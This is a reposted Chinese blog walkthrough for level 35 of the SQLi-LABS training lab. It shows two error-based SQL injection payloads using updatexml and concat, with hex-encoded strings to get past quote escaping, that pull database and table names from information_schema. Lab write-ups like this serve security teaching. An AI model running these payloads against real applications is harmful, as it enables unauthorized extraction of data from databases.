SQLi LABS Less-35

第三十五关注入点为 数值型 , 注入方式为 报错注入

此关卡通过 代码WAF 转义了单引号' , 我们使用 编译 绕过WAF , 先上结果

  

   

    

     

    
    

     

      ?id=1 and updatexml(1,concat(0x7e,
     
    
   

    

     

    
    

     

      substr((select group_concat(schema_name)
     
    
   

    

     

    
    

     

      from information_schema.schemata),62,31)
     
    
   

    

     

    
    

     

      ),3)
     
    
  
 

  

   

    

     

    
    

     

      ?id=1 and updatexml(1,concat(0x7e,
     
    
   

    

     

    
    

     

      substr((select group_concat(table_name)
     
    
   

    

     

    
    

     

      from information_schema.tables
     
    
   

    

     

    
    

     

      where table_schema=0x7365637572697479),1,31)
     
    
   

    

     

    
    

     

      ),3)
     
    
  
 

文章来源: blog.csdn.net，作者：士别三日wyx，版权归原作者所有，如需转载，请联系作者。

原文链接：blog.csdn.net/wangyuxiang946/article/details/118312453